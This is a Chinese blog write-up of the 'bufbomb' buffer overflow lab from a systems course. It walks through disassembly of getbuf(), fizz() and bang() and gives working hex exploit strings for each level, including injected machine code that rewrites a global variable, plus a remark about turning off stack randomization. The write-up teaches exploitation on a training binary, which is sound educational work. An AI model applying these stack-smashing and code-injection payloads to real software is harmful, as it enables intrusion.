缓冲区溢出攻击实验「建议收藏」

缓冲区溢出攻击实验「建议收藏」又一个计系系统的实验。

大家好,又见面了,我是你们的朋友全栈君。

    又一个计系系统的实验。这次实验是基于C语言中gets()的漏洞设计的。

    实验目标:理解程序函数调用中参数传递机制、掌握缓冲区溢出攻击方法、熟悉GDB调试工具和objdump反汇编工具。

    实验环境:Fedora 13。

    实验内容:本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡

要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改

 实验介绍

1. 攻击目标

实验程序为bufbomb。该程序中含有一个带有漏洞的getbuf()函数,其代码如下

int getbuf(){ char buf[12]; Gets(buf); return 1; }

系统函数gets()从标准输入设备读字符串,以回车结束读取,不会判断上限。

2. 攻击要求

目标程序bufbomb将执行test(),进而执行getbuf(),最终执行gets()。其中gets()会从标准输入设备读入数据。

1)getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

2)getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数,而且要求给fizz()函数传入一个黑客cookie值作为参数。其中cookie可以通过makecookie工具根据黑客姓名产生。——使用命令“./makecookie + 姓名”。

3)getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数,并且在返回到bang()之前,先修改全句变量global_value为你的黑客cookie值。

3. 攻击操作

已知bufbomb中有test()函数会调用getbuf()函数,并调用gets()从标准输入设备读入字符串。因此可以通过大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()栈帧,改变其返回地址——指向我们指定的函数。

具体操作如下:

1)使用gdb和objdump分析其栈帧结构,确定test()调用getbuf()后返回地址与buf缓冲区相对位置关系;
2)根据目标攻击函数地址,构造出传给gets()的数据(用于填充缓冲区并破坏栈帧结构)。将所构造的数据每字节用16进制数字表示(文本字符串,例如0x3用两个字符表示为“03”),并保存在exploit.txt文件中。
3)将exploit.txt文本文件中的数据通过sendstring工具转换成char类型的数据——保存在exploit_raw.txt中。比如利用管道“cat exploit.txt | ./sendstring | ./exploit_raw.txt”或通过重定向“./sendstring < exploit.txt > exploit_raw.txt”。
4)执行bufbomb,并将转换后的数据作为标准输入数据传入bufbomb。具体方法有多种,例如“cat exploit_raw.txt | bufbomb –t neo”、“bufbomb -t neo< exploit_raw.txt”。其中neo请替换成同学自己的名字。

5)将参数传入bufbomb时,也可指直接从exploit.txt文件开始,执行“$ cat exploit.txt | ./sendstring | ./bufbomb -t neo”。无需exploit_raw.txt的中转,直接由sendstring通过管道输入到bufbomb的标准输入设备中。


1.第一题

1.1 解题思路

找到getbuf代码,如下:

08048ad0 <getbuf>:

 8048ad0: 55                    push   %ebp

 8048ad1: 89 e5                 mov    %esp,%ebp  //将栈顶指针传给ebp

 8048ad3: 83 ec 28              sub    $0x28,%esp  //栈顶指针esp减去28,开辟28个地址空间

 8048ad6: 8d 45 e8              lea    -0x18(%ebp),%eax  //ebp-0x18的地址传给eax

 8048ad9: 89 04 24              mov    %eax,(%esp)

 8048adc: e8 df fe ff ff        call   80489c0 <Gets>  //在首地址为-0x18(%ebp)的位置输入字符串,字符串在栈帧中向上扩展。即当扩展到一定程度时,将会覆盖掉返回地址。

 8048ae1: c9                    leave  

 8048ae2: b8 01 00 00 00        mov    $0x1,%eax

 8048ae7: c3                    ret    

 8048ae8: 90                    nop

 8048ae9: 8d b4 26 00 00 00 00 lea    0x0(%esi,%eiz,1),%es

具体分析:

根据汇编代码,可以知道getbuf的栈帧结构如图1所示

缓冲区溢出攻击实验「建议收藏」

             图1

根据代码的注释和图1,可以知道,这道题只需要计算出从返回地址到字符串首地址之间有多少个字节,然后输入等长的字符串来覆盖返回地址。字符串首地址为ebp-0x18。为了使函数返回到smoke()函数,这里需要把字符串的最后四个字节设置为smoke()函数的地址。

1.2 解题过程

找到smoke()函数的地址,为0x08048eb0,注意这里的前缀0也要填入。

缓冲区溢出攻击实验「建议收藏」

              图2

字符串的后八位必须为b08e0408”,这样设置是因为字符串是存储在栈中,有先入后出的特点,所以需要把字符串按字节倒序填入栈中。对于其他的字节没有要求,只要凑够28位即可。总共需要输入32个字节。答案为:

00112233445566778899001122334455667788990011223344556677b08e0408

1.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                图3


2. 第二题

2.1 解题思路

查看fizz代码,如下:

08048e60 <fizz>:

 8048e60: 55                    push   %ebp

 8048e61: 89 e5                 mov    %esp,%ebp

 8048e63: 83 ec 08              sub    $0x8,%esp

 8048e66:8b 45 08             mov    0x8(%ebp),%eax

 8048e69: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放就是用户的cookie值,即运行命令“./bufbomb -t wuxiaobin”时传入的。

 8048e6f: 74 1f                 je     8048e90 <fizz+0x30>

 8048e71: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e75: c7 04 24 8c 98 04 08 movl   $0x804988c,(%esp)

 8048e7c: e8 27 f9 ff ff        call   80487a8 <printf@plt>

 8048e81: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e88: e8 5b f9 ff ff        call   80487e8 <exit@plt>

 8048e8d: 8d 76 00              lea    0x0(%esi),%esi

 8048e90: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e94: c7 04 24 d9 95 04 08 movl   $0x80495d9,(%esp)

 8048e9b: e8 08 f9 ff ff        call   80487a8 <printf@plt>

 8048ea0: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

 8048ea7: e8 44 fc ff ff        call   8048af0 <validate>

 8048eac: eb d3                 jmp    8048e81 <fizz+0x21>

 8048eae: 89 f6                 mov    %esi,%esi

具体分析:

代码红色部分是fizz参数的位置,即ebp+0x8,在ebp之前的栈中存的是ebp旧值。

2.2 解题过程

这里根据test函数的代码,得出当test调用getbuf函数时,其部分栈帧结构如下:

缓冲区溢出攻击实验「建议收藏」

 图4  (图中地址是根据gdb调试得出的)

这里假设调用getbuf时,输入正确的字符串后,函数返回到fizz()函数,那么,test的栈帧结构将变成图5

缓冲区溢出攻击实验「建议收藏」

            图5

5中红色部分为fizz函数的栈帧结构,那么ebp+8的值就是图5中的所表示的ebp+8这个参数的字节地址范围,这个位置就是fizz的传入参数。那么这道题的答案也就知道了。根据图1和图5,这次需要输入40个字节的字符串。倒数第8至倒数第16个字节代表fizz的地址,倒数8个字节是传入的参数,fizz()函数的地址为“08048e60”,参数根据题目要求需要传入一个黑客cookie值,我的cookie值为0x5f374086”。

缓冲区溢出攻击实验「建议收藏」

                 图6

这里两个字符串依旧需要从尾部输入,也就是608e0408”和“8640375f”。那么答案就是:

00112233445566778899001122334455667788990011223344556677608e0408001122338640375f

2.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                 图7

3. 第三题

3.1 解题思路

首先看bang()的代码,如下:

08048e10 <bang>:

 8048e10: 55                    push   %ebp

 8048e11: 89 e5                 mov    %esp,%ebp

 8048e13: 83 ec 08              sub    $0x8,%esp

 8048e16: a1 c4 a1 04 08        mov   0x804a1c4,%eax  //0x804a1c4global_value的存放地址

 8048e1b: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放用户的cookie

 8048e21: 74 1d                 je     8048e40 <tiao’shi+0x30>

 8048e23: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e27: c7 04 24 bb 95 04 08 movl   $0x80495bb,(%esp)

 8048e2e: e8 75 f9 ff ff        call   80487a8 <printf@plt>

 8048e33: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e3a: e8 a9 f9 ff ff        call   80487e8 <exit@plt>

 8048e3f: 90                    nop

 8048e40: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e44: c7 04 24 64 98 04 08 movl   $0x8049864,(%esp)

 8048e4b: e8 58 f9 ff ff        call   80487a8 <printf@plt>

 8048e50: c7 04 24 02 00 00 00 movl   $0x2,(%esp)

 8048e57: e8 94 fc ff ff        call   8048af0 <validate>

 8048e5c: eb d5                 jmp    8048e33 <bang+0x23>

 8048e5e: 89 f6                 mov    %esi,%esi

具体分析:

这道题和第二道题基本一样,唯一不同的是存放global_value的值不在栈中,根据ppt提示,这里需要用代码修改global_value的值,并把代码插入到字符串中。实现global_value修改的汇编代码容易,关键是怎么让它执行。下面实现代码执行的示意图

缓冲区溢出攻击实验「建议收藏」

            图8

3.2 解题过程

这里插入的代码为

movl $0x5f374086,%eax

movl %eax,0x804a1c4

movl $0x8048e10,%eax

jmp *%eax

这里需要将这些转成二进制代码,然后再填入字符串中。这里可以利用反汇编的手段,即objdumpexe文件反汇编成txt文件得到其二进制代码。具体方法如下:

(1)由于我们要插入的代码是汇编代码,所以只能在汇编程序中插入,那么就新建一个汇编程序文件tmp.s,在文件中写如代码,如图9所示。

缓冲区溢出攻击实验「建议收藏」

       图9

(2)接着对该tmp.s文件进行编译,生成tmp.o重定位目标程序

缓冲区溢出攻击实验「建议收藏」

               图10

缓冲区溢出攻击实验「建议收藏」

               图11

(3)

再对tmp.o文件进行反编译,生成tmp.txt文件

缓冲区溢出攻击实验「建议收藏」

                  图12

缓冲区溢出攻击实验「建议收藏」

         图13 反编译得到的txt文件内容

这就是修改global_value和跳转到bang()函数的代码。最后的工作是在返回地址那个地方填入这段代码的起始地址,即0xbfffb8f0。所以这道题的答案就是:

b88640375fa3c4a10408b8108e0408ffe00011223344556677889900f0b8ffbf

总共32个字节,代码占了17个字节,返回地址占了4个字节,其它随便填。

3.3 最终结果截图

缓冲区溢出攻击实验「建议收藏」

                 图14

最后的总结

这个实验最后一道题有一个坑点,就是答案在gdb里面调试的时候可以过,但在shell中直接运行过不了,这是因为linux系统有栈随机化的保护措施,可以避免一般的栈攻击,可以通过关闭栈随机化来运行第三道题的答案。具体关闭方法网上有很多,这里就不再说了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/157996.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月12日 下午1:46
下一篇 2022年7月12日 下午2:00


相关推荐

  • RS-422接口定义

    RS-422接口定义RS-422接口定义什么是RS-422接口? RS-422的电气性能与RS-485完全一样。主要的区别在于: RS-422有4根信号线:两根发送(Y、Z)、两根接收(A、B)。由于RS-422的收与发 是分开的所以可以同时收和发(全双工)。RS-485有2根信号线:发送和接收都是A和B。由于RS-485的收与发是共用两根线所以不能够同时收和发(半双

    2022年5月2日
    79
  • 直接学 Vue 3 吧 —— 对话 Vue.js 作者尤雨溪[通俗易懂]

    直接学 Vue 3 吧 —— 对话 Vue.js 作者尤雨溪[通俗易懂]《程序员》于2000年创刊,其理念为技术改变世界,创新驱动中国。2021年,《程序员》2.0全新起航,首期以「开发者的黄金十年」为主题,以音视频、图文专栏等丰富的多媒体形式为载体,立足当下,放眼未来,为读者带来全方位的技术和产业解读。本文为《程序员》2.0第一期内容,在UNIX开发者BrianW.Kernighan之后,我们采访到Vue.js的作者尤雨溪,与其共谈精彩程序人生、共论顶级开源项目的成功之道。从复杂的jQuery插件化开发到模块化及组件化,现代前端技术在迭代.

    2022年4月29日
    101
  • 记一次解决OutOfMemoryError: Java heap space详细过程与解决思路(jvisualvm解决问题案例详细分析)

    记一次解决OutOfMemoryError: Java heap space详细过程与解决思路(jvisualvm解决问题案例详细分析)喧哗的夜满地银光 望向窗外 星的眨眼频率格外的高 低眼看泛着油光的键盘 心中的寂寞 滴滴 靠着每天 ctrl alt w 几千 的惯性 打开最 嘿嘿嘿 的聊天软件 心中不免惆怅 已过午时三刻 还 tm 不下班 惆惆啥 油光的脸瞬间露出一缕微笑 惺忪的眼也充满了血丝 那么 问题来了 一点自己写的代码的信息没有 怎么找错误信息是我朋友发给我的截图 我并没有他的代

    2026年3月16日
    2
  • 求生之路2ping高_DDS信号源

    求生之路2ping高_DDS信号源问答时间:2020年12月17日嘉宾简介:高少星:萌宝集团创始人、稻荷资本创始合伙人、《好玩的书》作者。曾任顺为资本董事总经理、百度高级投资经理,是好大夫、丁香园、一点资讯、宝宝巴士、I…

    2025年7月17日
    8
  • Promise是什么?Promise怎么使用?回调地狱[通俗易懂]

    Promise是什么?Promise怎么使用?回调地狱[通俗易懂]1、Promise的概念Promise是ES6提供的原生的类(构造函数),用来传递异步操作的消息。它代表了某个未来才会知道结果的事件(通常是一个异步操作)2、Promise的两个特点:1)、对象的状态不受外界影响。Promise有三种状态:Pending(进行中)、Resolved(已完成,又称Fulfilled)和Rejected(已失败)。2)、一旦状态改变,就不会再变状态改变,只有两种可能:从Pending变为Resolved和从Pending变为Reje

    2022年6月4日
    43
  • 32 64 peb结构体

    32 64 peb结构体NTDLL Test TEB nbsp nbsp 0x000NtTib nbsp nbsp nbsp nbsp nbsp nbsp NT TIB nbsp nbsp 0x038Environ Ptr64Void nbsp nbsp 0x040ClientI nbsp nbsp nbsp nbsp CLIENT ID nbsp nbsp 0x050ActiveR nbsp Ptr64Void nbsp nbsp 0x058ThreadL

    2026年3月16日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号